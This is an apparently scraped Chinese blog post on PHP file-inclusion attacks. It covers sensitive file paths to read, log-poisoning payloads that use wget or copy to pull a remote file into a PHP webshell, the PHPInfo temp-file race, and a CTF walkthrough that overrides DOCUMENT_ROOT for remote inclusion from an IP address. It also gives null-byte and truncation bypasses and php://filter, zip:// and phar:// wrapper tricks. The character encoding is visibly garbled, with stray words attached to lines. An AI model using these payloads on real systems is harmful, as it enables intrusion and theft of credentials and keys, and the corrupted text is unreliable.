https://www.chery666.cn/blog/2017/06/17/include.htmlphp
网页代码在经过函数复用文件时,未对文件名进行安全检查时,从而致使恶意代码执行和敏感信息泄露。主要分为本地包含(LFI)和远程包含 (RFI)html
涉及到的危险函数:include(),require() 和 include_once(),require_once()mysql
测试代码linux
<?php
$a = $_GET['chery'];
include($a);
包含目录文件web
./
当前目录,../
上一级目录, 这样的遍历目录来读取文件Windows:sql
C:boot.ini // 查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS 配置文件
C:Windowsrepairsam // 存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql 配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php 配置信息
C:Windowsmy.ini //Mysql 配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gzshell
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
也可用经过先包含配置文件来肯定日志文件路径
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
而后在 user-agent 中插入 payload
apache
<?system(wget http://xxx.xxx.xxx.xxx/chery.txt -O chery.php);?>
<?php copy(http://xxx.xxx.xxx.xxx/chery.txt, chery.php) ?>
向 phpinfo 上传文件则能够返回文件路径,可是文件存在时间很短,能够用程序持续上传,而后就能够包含你上传的文件了
windows
利用 PHPInfo 进行本地文件包含的主要思想是在临时文件删除前执行操做。数组
咱们须要争取时间,时间差大体来自三个方面:
一、经过分块传输编码,提早获知临时文件名称;
分块传输能够实如今未彻底传输完成时便可获知临时文件名,能够尽早发起文件包含请求,赶在删除以前执行代码。
二、经过增长临时文件名后数据长度来延长时间;
经过观察 PHPinfo 的信息,在 $_FILES 信息下面,还有请求头的相关信息,咱们能够在请求的时候,经过填充大量无用数据,来增长后面数据的长度,从而增长脚本的处理时间,为包含文件争取更多的时间。
三、经过大量请求来延迟 PHP 脚本的执行速度。
经过大量的并发请求,提升成功的几率。因为对 PHP 处理性能的不熟悉,作了一个简单的测试,记录大量多个请求下,每一个脚本的运行时间.
参考:LFI with PHPInfo 本地测试过程
实战运用:乌云链家 phpinfo 文件包含到内网渗透
if (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING'] != '') {
if (stripos($_SERVER['QUERY_STRING'], "GLOBALS") === false &&
stripos($_SERVER['QUERY_STRING'], "_GET") === false &&
stripos($_SERVER['QUERY_STRING'], "_SERVER") === false &&
stripos($_SERVER['QUERY_STRING'], "_POST") === false &&
stripos($_SERVER['QUERY_STRING'], "_COOKIE") === false &&
stripos($_SERVER['QUERY_STRING'], "_REQUEST") === false &&
stripos($_SERVER['QUERY_STRING'], "_ENV") === false &&
stripos($_SERVER['QUERY_STRING'], "_FILES") === false &&
stripos($_SERVER['QUERY_STRING'], "_SESSION") === false) {
parse_str($_SERVER['QUERY_STRING']);
}
}
首先是一大串过滤,发现过滤的都是 php 全局数组
这里百度了一下 QUERY_STRING 函数和 parse_str 函数(具体用法自行百度)
发现后者存在 url 解码,故能够用 url 编码绕过过滤,而且后者具备变量覆盖的功效。至此能够掌控全局变量。
继续审计源码
define("Z_ENTRANCE", true);
define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);
require(Z_ABSPATH . "/conn.php");
require(Z_ABSPATH . "/functions.php");
if (isset($action) && $action == 'main') {
require(Z_ABSPATH . "/main.php");
发现第二个关键点define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);
这里存在了一个根目录,而前面咱们说到了全局变量覆盖的问题,因此这里毋庸置疑,咱们应该覆盖的就是这个根目录,将其改成咱们的 vps 地址,故能够远程包含咱们的脚本
(注:别忘了你的 vps 下也要放 conn.php 和 functions.php 不然程序运行到这里就失败了……)
将本身的小马写进 main.php
小马以下:`<?php
echo "<?php echo ls
?>";`
而后发 payload:/index.php?%5fSERVER[DOCUMENT_ROOT]=http://123.206.222.169&action=main
便可获得全有文件,能够看见 flag 文件
再将小马的 ls 改成 cat 便可得到 flag
测试代码 <?php include("inc/" . $_GET['file'] . ".htm"); ?>
/etc/passwd%00
(须要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效)
/var/www/%00
(须要 magic_quotes_gpc=off,unix 文件系统,好比 FreeBSD,OpenBSD,NetBSD,Solaris)
/etc/passwd/././././././.[…]/./././././.
(php 版本小于 5.2.8(?) 能够成功,linux 须要文件名长于 4096,windows 须要长于 256)
/boot.ini/………[…]…………
(php 版本小于 5.2.8(?) 能够成功,只适用 windows,点号须要长于 256)
常见封装协议的利用
利用 php 流 filter(过滤器, 能够用来读取 php 文件内容, 不须要开启 allow_url_include):?file=php://filter/convert.base64-encode/resource=index.php
<?php phpinfo();
, 注意没有?> 闭合, 闭合标签的话就包含失败了。
$include_file=$_GET[include_file];
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
{
require( $include_file );
}
截取过来的后面 4 格字符, 判断是否是 php, 若是是 php 才进行包含zip://archive.zip#dir/file.txt
(file.txt 被压缩在 archive.zip 中)
建立 phar 的代码以下:
<?php
$p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ;
$p->addFromString('testfile.txt', '<?php phpinfo();?>');
?>
建立 phar 的时候要注意 php.ini 的参数, phar.readonly 设置为 off(本地测试的两个默认都是 off)
而后经过包含协议访问:
http://127.0.0.1/demo.php?chery=phar://./phar/phartest.aaa/testfile.txt